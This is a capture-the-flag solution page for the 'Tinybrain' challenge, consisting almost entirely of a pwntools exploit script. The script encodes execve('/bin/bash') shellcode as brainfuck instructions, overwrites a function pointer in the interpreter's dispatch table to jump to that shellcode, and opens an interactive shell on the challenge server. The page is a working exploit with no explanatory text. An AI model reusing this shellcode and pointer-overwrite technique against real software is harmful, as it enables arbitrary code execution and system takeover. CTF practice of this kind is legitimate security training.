Tinybrain
#shellcode#reverse-pwn#solution-only
Contents
Solution
#!/usr/bin/env python3
from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm
elf = ELF("./bf_patched")
rop = ROP(elf)
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b *0x401000
b *0x40382b
"""
file = "code.bf"
def conn():
if args.REMOTE:
r = remote("chals.swampctf.com", 41414)
elif args.GDB:
r = gdb.debug([elf.path, file], gdbscript=dbginit)
else:
r = process([elf.path, file])
return r
def main():
msg = b'PWNED\n'
binsh = b'/bin/bash\0'
start_addr = 0x403801
msg_addr = start_addr
binsh_addr = msg_addr + len(msg)
code_addr = binsh_addr + len(binsh)
# write(stdout, msg, sizeof(msg));
# execve(binsh, null, null);
shellcode = msg + binsh
shellcode += asm(f"""
mov rax, {msg_addr}
mov rsi, rax;
mov rdx, {len(msg)};
xor rdi, rdi;
inc rdi;
mov rax, rdi;
syscall;
mov rdi, rsi;
add rdi, {len(msg)};
xor rsi, rsi;
xor rdx, rdx;
mov rax, 59;
syscall;
""")
# address of function pointer of 'E' in function map
# value is 0x40101e
func_map_addr = 0x402000
func_E_addr = func_map_addr + ord("E") * 8
dist = start_addr - func_E_addr
# this variable tracks the index of the current byte
index = 0
# first byte will be reset to 0 for some reason
# so we will skip a byte
payload = b'>'
# generate bf code
# quick and dirty, if it works it works
for ch in shellcode:
payload += b'+' * ch
payload += b'>'
index += 1
# move the pointer to function map
payload += b'<' * (index + dist)
# edit function pointer (redefine character's function) to shellcode
payload += b'-' * (0x1e - (len(binsh) + len(msg) + 1)) + b'>' # first byte
payload += b'+' * (0x38 - 0x10) # second byte
# Execute the character (jump to the edited function pointer -> shellcode)
payload += b'E'
# quit sending bf code and start code execution
payload += b'q'
if args.REMOTE:
r = conn()
r.sendline(payload)
print(r.recvuntilS(b'PWNED'))
r.interactive()
else:
with open(file, "wb") as bf:
bf.write(payload)
r = conn()
r.interactive()
if __name__ == "__main__":
main()